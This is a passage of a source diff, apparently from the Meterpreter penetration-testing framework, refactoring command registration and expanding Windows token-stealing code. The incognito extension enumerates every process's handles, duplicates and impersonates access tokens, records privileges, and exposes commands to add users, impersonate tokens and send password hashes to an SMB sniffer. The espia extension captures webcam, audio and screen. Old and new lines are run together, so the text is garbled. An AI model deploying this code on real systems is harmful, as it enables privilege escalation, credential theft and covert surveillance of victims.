thread->parameter2 = param2; thread->parameter2 = param2;
thread->parameter3 = param3;
#ifdef _WIN32 #ifdef _WIN32
thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id ); thread->handle = CreateThread( NULL, 0, funk, thread, CREATE_SUSPENDED, &thread->id );

@ -60,6 +60,7 @@ typedef struct _THREAD
EVENT * sigterm; EVENT * sigterm;
LPVOID parameter1; LPVOID parameter1;
LPVOID parameter2; LPVOID parameter2;
LPVOID parameter3;
#ifndef _WIN32 #ifndef _WIN32
void *suspend_thread_data; void *suspend_thread_data;
pthread_t pid; pthread_t pid;
@ -99,7 +100,7 @@ BOOL event_poll( EVENT * event, DWORD timeout );
THREAD * thread_open( VOID ); THREAD * thread_open( VOID );
THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2 ); THREAD * thread_create( THREADFUNK funk, LPVOID param1, LPVOID param2, LPVOID param3 );
BOOL thread_run( THREAD * thread ); BOOL thread_run( THREAD * thread );

@ -3351,7 +3351,7 @@ int inflateSync(z_streamp z)
} }
/* restore */ /* restore */
z->total_in += p - z->next_in; z->total_in += (uLong)(p - z->next_in);
z->next_in = p; z->next_in = p;
z->avail_in = n; z->avail_in = n;
z->state->sub.marker = m; z->state->sub.marker = m;
@ -3539,7 +3539,7 @@ struct inflate_blocks_state {
/* defines for inflate input/output */ /* defines for inflate input/output */
/* update pointers and return */ /* update pointers and return */
#define UPDBITS {s->bitb=b;s->bitk=k;} #define UPDBITS {s->bitb=b;s->bitk=k;}
#define UPDIN {z->avail_in=n;z->total_in+=p-z->next_in;z->next_in=p;} #define UPDIN {z->avail_in=n;z->total_in+=(uLong)(p-z->next_in);z->next_in=p;}
#define UPDOUT {s->write=q;} #define UPDOUT {s->write=q;}
#define UPDATE {UPDBITS UPDIN UPDOUT} #define UPDATE {UPDBITS UPDIN UPDOUT}
#define LEAVE {UPDATE return inflate_flush(s,z,r);} #define LEAVE {UPDATE return inflate_flush(s,z,r);}

@ -16,11 +16,7 @@ EnableDelayLoadMetSrv();
Command customCommands[] = Command customCommands[] =
{ {
// custom commands go here // custom commands go here
// Terminator COMMAND_TERMINATOR
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
}; };
/*! /*!
@ -28,12 +24,9 @@ Command customCommands[] =
*/ */
DWORD __declspec(dllexport) InitServerExtension(Remote *remote) DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{ {
DWORD index;
hMetSrv = remote->hMetSrv; hMetSrv = remote->hMetSrv;
for (index = 0; customCommands[index].method; index++) command_register_all(customCommands);
command_register(&customCommands[index]);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
@ -43,10 +36,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/ */
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{ {
DWORD index; command_deregister_all(customCommands);
for (index = 0; customCommands[index].method; index++)
command_deregister(&customCommands[index]);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }

@ -22,29 +22,10 @@ EnableDelayLoadMetSrv();
Command customCommands[] = Command customCommands[] =
{ {
// Video COMMAND_REQ( "espia_video_get_dev_image", request_video_get_dev_image ),
{ "espia_video_get_dev_image", COMMAND_REQ( "espia_audio_get_dev_audio", request_audio_get_dev_audio ),
{ request_video_get_dev_image, { 0 }, 0 }, COMMAND_REQ( "espia_image_get_dev_screen", request_image_get_dev_screen ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_TERMINATOR
},
// Audio
{ "espia_audio_get_dev_audio",
{ request_audio_get_dev_audio, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Screen
{ "espia_image_get_dev_screen",
{ request_image_get_dev_screen, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
}; };
/* /*
@ -52,17 +33,9 @@ Command customCommands[] =
*/ */
DWORD __declspec(dllexport) InitServerExtension(Remote *remote) DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{ {
DWORD index;
hMetSrv = remote->hMetSrv; hMetSrv = remote->hMetSrv;
for (index = 0; customCommands[index].method; index++) command_register_all( customCommands );
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
@ -72,12 +45,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/ */
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{ {
DWORD index; command_deregister_all( customCommands );
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }

@ -21,6 +21,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
SavedToken *token_list = NULL; SavedToken *token_list = NULL;
NETRESOURCEA nr; NETRESOURCEA nr;
HANDLE saved_token; HANDLE saved_token;
TOKEN_PRIVS token_privs;
char conn_string[BUF_SIZE] = "", domain_name[BUF_SIZE] = "", *smb_sniffer_ip = NULL, char conn_string[BUF_SIZE] = "", domain_name[BUF_SIZE] = "", *smb_sniffer_ip = NULL,
return_value[BUF_SIZE] = "", temp[BUF_SIZE] = ""; return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
@ -39,7 +40,7 @@ DWORD request_incognito_snarf_hashes(Remote *remote, Packet *packet)
if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token)) if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &saved_token))
saved_token = INVALID_HANDLE_VALUE; saved_token = INVALID_HANDLE_VALUE;
token_list = get_token_list(&num_tokens); token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list) if (!token_list)
{ {
packet_transmit_response(GetLastError(), remote, response); packet_transmit_response(GetLastError(), remote, response);

@ -36,6 +36,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
SavedToken *token_list = NULL; SavedToken *token_list = NULL;
BOOL bTokensAvailable = FALSE; BOOL bTokensAvailable = FALSE;
TOKEN_ORDER token_order; TOKEN_ORDER token_order;
TOKEN_PRIVS token_privs;
char *delegation_tokens = calloc(sizeof(char), BUF_SIZE), char *delegation_tokens = calloc(sizeof(char), BUF_SIZE),
*impersonation_tokens = calloc(sizeof(char), BUF_SIZE), *impersonation_tokens = calloc(sizeof(char), BUF_SIZE),
temp[BUF_SIZE] = ""; temp[BUF_SIZE] = "";
@ -44,7 +45,7 @@ DWORD request_incognito_list_tokens(Remote *remote, Packet *packet)
token_order = packet_get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER); token_order = packet_get_tlv_value_uint(packet, TLV_TYPE_INCOGNITO_LIST_TOKENS_TOKEN_ORDER);
// Enumerate tokens // Enumerate tokens
token_list = get_token_list(&num_tokens); token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list) if (!token_list)
{ {
@ -109,12 +110,13 @@ DWORD request_incognito_impersonate_token(Remote *remote, Packet *packet)
BOOL bTokensAvailable = FALSE, delegation_available = FALSE; BOOL bTokensAvailable = FALSE, delegation_available = FALSE;
char temp[BUF_SIZE] = "", *requested_username, return_value[BUF_SIZE] = ""; char temp[BUF_SIZE] = "", *requested_username, return_value[BUF_SIZE] = "";
HANDLE xtoken; HANDLE xtoken;
TOKEN_PRIVS token_privs;
Packet *response = packet_create_response(packet); Packet *response = packet_create_response(packet);
requested_username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN); requested_username = packet_get_tlv_value_string(packet, TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN);
// Enumerate tokens // Enumerate tokens
token_list = get_token_list(&num_tokens); token_list = get_token_list(&num_tokens, &token_privs);
if (!token_list) if (!token_list)
{ {
@ -179,47 +181,13 @@ cleanup:
Command customCommands[] = Command customCommands[] =
{ {
// List tokens COMMAND_REQ( "incognito_list_tokens", request_incognito_list_tokens ),
{ "incognito_list_tokens", COMMAND_REQ( "incognito_impersonate_token", request_incognito_impersonate_token ),
{ request_incognito_list_tokens, { 0 }, 0 }, COMMAND_REQ( "incognito_add_user", request_incognito_add_user ),
{ EMPTY_DISPATCH_HANDLER }, COMMAND_REQ( "incognito_add_group_user", request_incognito_add_group_user ),
}, COMMAND_REQ( "incognito_add_localgroup_user", request_incognito_add_localgroup_user ),
COMMAND_REQ( "incognito_snarf_hashes", request_incognito_snarf_hashes ),
// Impersonate token COMMAND_TERMINATOR
{ "incognito_impersonate_token",
{ request_incognito_impersonate_token, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add user to host
{ "incognito_add_user",
{ request_incognito_add_user, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add user to group
{ "incognito_add_group_user",
{ request_incognito_add_group_user, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Add user to local group
{ "incognito_add_localgroup_user",
{ request_incognito_add_localgroup_user, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Snarf token hashes
{ "incognito_snarf_hashes",
{ request_incognito_snarf_hashes, { 0 }, 0 },
{ EMPTY_DISPATCH_HANDLER },
},
// Terminator
{ NULL,
{ EMPTY_DISPATCH_HANDLER },
{ EMPTY_DISPATCH_HANDLER },
},
}; };
/* /*
@ -227,17 +195,9 @@ Command customCommands[] =
*/ */
DWORD __declspec(dllexport) InitServerExtension(Remote *remote) DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
{ {
DWORD index;
hMetSrv = remote->hMetSrv; hMetSrv = remote->hMetSrv;
for (index = 0; customCommands[index].method; index++) command_register_all( customCommands );
{
dprintf("Registering command index %d", index);
dprintf(" Command: %s", customCommands[index].method);
dprintf(" Register: 0x%.8x", command_register);
command_register(&customCommands[index]);
}
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }
@ -247,12 +207,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
*/ */
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
{ {
DWORD index; command_deregister_all( customCommands );
for (index = 0;
customCommands[index].method;
index++)
command_deregister(&customCommands[index]);
return ERROR_SUCCESS; return ERROR_SUCCESS;
} }

@ -39,6 +39,20 @@ typedef struct _SYSTEM_HANDLE_INFORMATION {
SYSTEM_HANDLE Handles[1]; SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
BYTE Reserved1[52];
PVOID Reserved2[3];
HANDLE UniqueProcessId;
PVOID Reserved3;
ULONG HandleCount;
BYTE Reserved4[4];
PVOID Reserved5[11];
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved6[6];
} SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;
typedef struct _UNICODE_STRING { typedef struct _UNICODE_STRING {
USHORT Length; USHORT Length;
USHORT MaximumLength; USHORT MaximumLength;
@ -49,6 +63,7 @@ typedef struct _UNICODE_STRING {
#define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)
#define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L) #define STATUS_BUFFER_OVERFLOW ((NTSTATUS)0x80000005L)
#define SystemHandleInformation 16 #define SystemHandleInformation 16
#define SystemProcessInformation 5
typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(DWORD SystemInformationClass, typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)(DWORD SystemInformationClass,
PVOID SystemInformation, PVOID SystemInformation,
@ -89,68 +104,239 @@ LPWSTR GetObjectInfo(HANDLE hObject, OBJECT_INFORMATION_CLASS objInfoClass)
return data; return data;
} }
SavedToken *get_token_list(DWORD *num_tokens_enum) static int compare_token_names(const unique_user_token *a, const unique_user_token *b)
{ {
DWORD total=0, i, num_tokens=0, token_list_size = BUF_SIZE, dwSize = sizeof(SYSTEM_HANDLE_INFORMATION); return _stricmp(a->username, b->username);
HANDLE process; }
PSYSTEM_HANDLE_INFORMATION pHandleInfo;
SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs)
{
DWORD total=0, i, j, num_tokens=0, token_list_size = BUF_SIZE, dwSize = sizeof(SYSTEM_HANDLE_INFORMATION), dwError;
HANDLE process, hObject;
PSYSTEM_PROCESS_INFORMATION pProcessInfo=NULL;
PSYSTEM_PROCESS_INFORMATION original_pProcessInfo=NULL;
NTSTATUS ntReturn; NTSTATUS ntReturn;
BOOL bMoreProcesses = TRUE;
LPVOID TokenPrivilegesInfo[BUF_SIZE];
DWORD returned_privileges_length, returned_name_length;
char privilege_name[BUF_SIZE];
HANDLE hObject2=NULL;
SavedToken *token_list = (SavedToken*)calloc(token_list_size, sizeof(SavedToken)); SavedToken *token_list = (SavedToken*)calloc(token_list_size, sizeof(SavedToken));
*num_tokens_enum = 0;
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = FALSE;
token_privs->SE_CREATE_TOKEN_PRIVILEGE = FALSE;
token_privs->SE_TCB_PRIVILEGE = FALSE;
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = FALSE;
token_privs->SE_BACKUP_PRIVILEGE = FALSE;
token_privs->SE_RESTORE_PRIVILEGE = FALSE;
token_privs->SE_DEBUG_PRIVILEGE = FALSE;
token_privs->SE_IMPERSONATE_PRIVILEGE = FALSE;
token_privs->SE_RELABEL_PRIVILEGE = FALSE;
token_privs->SE_LOAD_DRIVER_PRIVILEGE = FALSE;
// Enable debug privs if possible
OpenProcessToken(GetCurrentProcess(), GENERIC_ALL/*MAXIMUM_ALLOWED*/, &hObject);
has_impersonate_priv(hObject);
NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation"); NtQuerySystemInformation = (NTQUERYSYSTEMINFORMATION)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQuerySystemInformation");
NtQueryObject= (NTQUERYOBJECT)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryObject"); NtQueryObject= (NTQUERYOBJECT)GetProcAddress(GetModuleHandleA("NTDLL.DLL"), "NtQueryObject");
dwSize = 256*1000;
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(dwSize);
ntReturn = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, dwSize, &dwSize); pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize);
ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize);
if(ntReturn == STATUS_INFO_LENGTH_MISMATCH){
free(pHandleInfo); while (ntReturn == STATUS_INFO_LENGTH_MISMATCH) {
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(dwSize); free(pProcessInfo);
ntReturn = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, dwSize, &dwSize); pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)malloc(dwSize);
ntReturn = NtQuerySystemInformation(SystemProcessInformation, pProcessInfo, dwSize, &dwSize);
} }
*num_tokens_enum = 0; original_pProcessInfo = pProcessInfo;
if(ntReturn == STATUS_SUCCESS) if(ntReturn == STATUS_SUCCESS)
{ {
for(i = 0; i < pHandleInfo->uCount; i++) while (bMoreProcesses)
{ {
process = OpenProcess(MAXIMUM_ALLOWED,FALSE, pHandleInfo->Handles[i].uIdProcess); if (pProcessInfo->NextEntryOffset == 0)
if(process != INVALID_HANDLE_VALUE) bMoreProcesses = FALSE;
{
HANDLE hObject = NULL; // if has impersonate privs, only needs read access
if(DuplicateHandle(process, (HANDLE)pHandleInfo->Handles[i].Handle, process = OpenProcess(MAXIMUM_ALLOWED,FALSE, (DWORD)pProcessInfo->UniqueProcessId);
GetCurrentProcess(), &hObject, MAXIMUM_ALLOWED, FALSE, 0x02) != FALSE)
for(i = 0; i < pProcessInfo->HandleCount; i++)
{
if(process != INVALID_HANDLE_VALUE)
{ {
LPWSTR lpwsType=NULL ; hObject = NULL;
lpwsType = GetObjectInfo(hObject, ObjectTypeInformation);
if ((lpwsType!=NULL) && !wcscmp(lpwsType, L"Token") ) if(DuplicateHandle(process, (HANDLE)((i+1)*4),
GetCurrentProcess(), &hObject, MAXIMUM_ALLOWED, FALSE, 0x02) != FALSE)
{ {
// Reallocate space if necessary LPWSTR lpwsType=NULL;
if(*num_tokens_enum >= token_list_size) lpwsType = GetObjectInfo(hObject, ObjectTypeInformation);
if ((lpwsType!=NULL) && !wcscmp(lpwsType, L"Token") && ImpersonateLoggedOnUser(hObject) != 0)
{ {
token_list_size *= 2; // ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification
token_list = (SavedToken*)realloc(token_list, token_list_size*sizeof(SavedToken)); // also revert to self after getting new token context
if (!token_list) // only process if it was impersonation or higher
goto cleanup; OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2);
RevertToSelf();
if (is_impersonation_token(hObject2) )
{
// Reallocate space if necessary
if(*num_tokens_enum >= token_list_size)
{
token_list_size *= 2;
token_list = (SavedToken*)realloc(token_list, token_list_size*sizeof(SavedToken));
if (!token_list)
goto cleanup;
}
token_list[*num_tokens_enum].token = hObject;
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
{
if (((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount > 0)
for (j=0;j<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;j++)
{
returned_name_length = BUF_SIZE;
LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[j].Luid), privilege_name, &returned_name_length);
if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0)
{
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0)
{
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeTcbPrivilege") == 0)
{
token_privs->SE_TCB_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0)
{
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeBackupPrivilege") == 0)
{
token_privs->SE_BACKUP_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeRestorePrivilege") == 0)
{
token_privs->SE_RESTORE_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeDebugPrivilege") == 0)
{
token_privs->SE_DEBUG_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0)
{
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0)
{
token_privs->SE_RELABEL_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0)
{
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
}
}
}
(*num_tokens_enum)++;
}
CloseHandle(hObject2);
} }
token_list[*num_tokens_enum].token = hObject; else
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username); CloseHandle(hObject);
(*num_tokens_enum)++;
} }
else }
CloseHandle(hObject);
}
CloseHandle(process);
} }
}
// Also process primary
// if has impersonate privs, only needs read access
process = OpenProcess(MAXIMUM_ALLOWED, FALSE, (DWORD)pProcessInfo->UniqueProcessId);
dwError = OpenProcessToken(process, MAXIMUM_ALLOWED, &hObject);
if (dwError !=0 && ImpersonateLoggedOnUser(hObject) != 0)
{
// ImpersonateLoggedOnUser() always returns true. Need to check whether impersonated token kept impersonate status - failure degrades to identification
// also revert to self after getting new token context
// only process if it was impersonation or higher
OpenThreadToken(GetCurrentThread(), MAXIMUM_ALLOWED, TRUE, &hObject2);
RevertToSelf();
if (is_impersonation_token(hObject2))
{
token_list[*num_tokens_enum].token = hObject;
get_domain_username_from_token(hObject, token_list[*num_tokens_enum].username);
(*num_tokens_enum)++;
if (GetTokenInformation(hObject, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
{
for (i=0;i<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;i++)
{
returned_name_length = BUF_SIZE;
LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length);
if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0)
{
token_privs->SE_ASSIGNPRIMARYTOKEN_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeCreateTokenPrivilege") == 0)
{
token_privs->SE_CREATE_TOKEN_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeTcbPrivilege") == 0)
{
token_privs->SE_TCB_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeTakeOwnershipPrivilege") == 0)
{
token_privs->SE_TAKE_OWNERSHIP_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeBackupPrivilege") == 0)
{
token_privs->SE_BACKUP_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeRestorePrivilege") == 0)
{
token_privs->SE_RESTORE_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeDebugPrivilege") == 0)
{
token_privs->SE_DEBUG_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0)
{
token_privs->SE_IMPERSONATE_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeRelabelPrivilege") == 0)
{
token_privs->SE_RELABEL_PRIVILEGE = TRUE;
}
else if (strcmp(privilege_name, "SeLoadDriverPrivilege") == 0)
{
token_privs->SE_LOAD_DRIVER_PRIVILEGE = TRUE;
}
}
}
}
CloseHandle(hObject2);
}
pProcessInfo = (PSYSTEM_PROCESS_INFORMATION)((ULONG)pProcessInfo + (ULONG)pProcessInfo->NextEntryOffset);
}
} }
cleanup: cleanup:
free(pHandleInfo); free(original_pProcessInfo);
return token_list; return token_list;
} }
void process_user_token(HANDLE token, unique_user_token *uniq_tokens, DWORD *num_tokens, TOKEN_ORDER token_order) void process_user_token(HANDLE token, unique_user_token *uniq_tokens, DWORD *num_tokens, TOKEN_ORDER token_order)
@ -182,7 +368,8 @@ void process_user_token(HANDLE token, unique_user_token *uniq_tokens, DWORD *num
// Check // Check
if (!_stricmp("None", strchr(full_name, '\\') + 1) || !_stricmp("Everyone", strchr(full_name, '\\') + 1) if (!_stricmp("None", strchr(full_name, '\\') + 1) || !_stricmp("Everyone", strchr(full_name, '\\') + 1)
|| !_stricmp("LOCAL", strchr(full_name, '\\') + 1) || !_stricmp("NULL SID", strchr(full_name, '\\') + 1)) || !_stricmp("LOCAL", strchr(full_name, '\\') + 1) || !_stricmp("NULL SID", strchr(full_name, '\\') + 1)
|| !_stricmp("CONSOLE LOGON", strchr(full_name, '\\') + 1))
continue; continue;
// Check to see if username has been seen before // Check to see if username has been seen before

@ -24,8 +24,21 @@ typedef enum
BY_GROUP BY_GROUP
} TOKEN_ORDER; } TOKEN_ORDER;
SavedToken *get_token_list(DWORD *num_tokens_enum); typedef struct
void list_unique_tokens(TOKEN_ORDER); {
BOOL SE_ASSIGNPRIMARYTOKEN_PRIVILEGE;
BOOL SE_CREATE_TOKEN_PRIVILEGE;
BOOL SE_TCB_PRIVILEGE;
BOOL SE_TAKE_OWNERSHIP_PRIVILEGE;
BOOL SE_BACKUP_PRIVILEGE;
BOOL SE_RESTORE_PRIVILEGE;
BOOL SE_DEBUG_PRIVILEGE;
BOOL SE_IMPERSONATE_PRIVILEGE;
BOOL SE_RELABEL_PRIVILEGE;
BOOL SE_LOAD_DRIVER_PRIVILEGE;
} TOKEN_PRIVS;
SavedToken *get_token_list(DWORD *num_tokens_enum, TOKEN_PRIVS *token_privs);
void process_user_token(HANDLE, unique_user_token*, DWORD*, TOKEN_ORDER); void process_user_token(HANDLE, unique_user_token*, DWORD*, TOKEN_ORDER);
#endif #endif

@ -50,15 +50,26 @@ BOOL get_domain_groups_from_token(HANDLE token, char **group_name_array[], DWORD
if (!GetTokenInformation(token, TokenGroups, TokenGroupsInfo, BUF_SIZE, &returned_tokinfo_length)) if (!GetTokenInformation(token, TokenGroups, TokenGroupsInfo, BUF_SIZE, &returned_tokinfo_length))
return FALSE; return FALSE;
*group_name_array = (char**)calloc(((TOKEN_GROUPS*)TokenGroupsInfo)->GroupCount, sizeof(char*)); *group_name_array = (char**)calloc(((TOKEN_GROUPS*)TokenGroupsInfo)->GroupCount, sizeof(char*));
*num_groups = ((TOKEN_GROUPS*)TokenGroupsInfo)->GroupCount; *num_groups = ((TOKEN_GROUPS*)TokenGroupsInfo)->GroupCount;
for (i=0;i<*num_groups;i++) for (i=0;i<*num_groups;i++)
{ {
LookupAccountSidA(NULL, ((TOKEN_GROUPS*)TokenGroupsInfo)->Groups[i].Sid, groupname, &group_length, domainname, &domain_length, (PSID_NAME_USE)&sid_type); if((((TOKEN_GROUPS*)TokenGroupsInfo)->Groups[i].Attributes & SE_GROUP_ENABLED) != 0)
(*group_name_array)[i] = (char*)calloc(BUF_SIZE, sizeof(char)); {
// Make full name in DOMAIN\GROUPNAME format group_length = BUF_SIZE;
sprintf((*group_name_array)[i], "%s\\%s", domainname, groupname); domain_length = BUF_SIZE; // fix bug with insufficient buffer size due to reusing last length value
LookupAccountSidA(NULL, ((TOKEN_GROUPS*)TokenGroupsInfo)->Groups[i].Sid, groupname, &group_length, domainname, &domain_length, (PSID_NAME_USE)&sid_type);
(*group_name_array)[i] = (char*)calloc(BUF_SIZE, sizeof(char));
// Make full name in DOMAIN\GROUPNAME format
sprintf((*group_name_array)[i], "%s\\%s", domainname, groupname);
}
else
{
(*group_name_array)[i] = (char*)calloc(BUF_SIZE, sizeof(char));
sprintf((*group_name_array)[i], "%s\\%s", domainname, groupname);
}
} }
return TRUE; return TRUE;
@ -147,4 +158,60 @@ BOOL is_local_system()
return TRUE; return TRUE;
else else
return FALSE; return FALSE;
} }
BOOL has_impersonate_priv(HANDLE hToken)
{
LUID luid;
LPVOID TokenPrivilegesInfo[BUF_SIZE];
DWORD returned_privileges_length, returned_name_length, i;
char privilege_name[BUF_SIZE];
if(!LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid))
goto exit;
if (GetTokenInformation(hToken, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
{
for (i=0;i<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;i++)
{
returned_name_length = BUF_SIZE;
LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length);
if (strcmp(privilege_name, "SeImpersonatePrivilege") == 0)
return TRUE;
}
}
exit:
if(hToken)
CloseHandle(hToken);
return FALSE;
}
BOOL has_assignprimarytoken_priv(HANDLE hToken)
{
LUID luid;
LPVOID TokenPrivilegesInfo[BUF_SIZE];
DWORD returned_privileges_length, returned_name_length, i;
char privilege_name[BUF_SIZE];
if(!LookupPrivilegeValue(NULL, SE_IMPERSONATE_NAME, &luid))
goto exit;
if (GetTokenInformation(hToken, TokenPrivileges, TokenPrivilegesInfo, BUF_SIZE, &returned_privileges_length))
{
for (i=0;i<((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->PrivilegeCount;i++)
{
returned_name_length = BUF_SIZE;
LookupPrivilegeNameA(NULL, &(((TOKEN_PRIVILEGES*)TokenPrivilegesInfo)->Privileges[i].Luid), privilege_name, &returned_name_length);
if (strcmp(privilege_name, "SeAssignPrimaryTokenPrivilege") == 0)
return TRUE;
}
}
exit:
if(hToken)
CloseHandle(hToken);
return FALSE;
}

@ -5,6 +5,8 @@ BOOL is_delegation_token(HANDLE token);
BOOL is_impersonation_token(HANDLE token); BOOL is_impersonation_token(HANDLE token);
BOOL is_token(HANDLE token, char *requested_name); BOOL is_token(HANDLE token, char *requested_name);
BOOL is_local_system(); BOOL is_local_system();
BOOL has_impersonate_priv(HANDLE hToken);
BOOL has_assignprimarytoken_priv(HANDLE hToken);
BOOL get_domain_username_from_token(HANDLE token, char *full_name_to_return); BOOL get_domain_username_from_token(HANDLE token, char *full_name_to_return);
BOOL get_domain_groups_from_token(HANDLE token, char **group_name_array[], DWORD *num_groups); BOOL get_domain_groups_from_token(HANDLE token, char **group_name_array[], DWORD *num_groups);

@ -22,6 +22,7 @@ DWORD request_incognito_add_user(Remote *remote, Packet *packet)
HANDLE saved_token; HANDLE saved_token;
char *dc_netbios_name, *username, *password, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = ""; char *dc_netbios_name, *username, *password, return_value[BUF_SIZE] = "", temp[BUF_SIZE] = "";
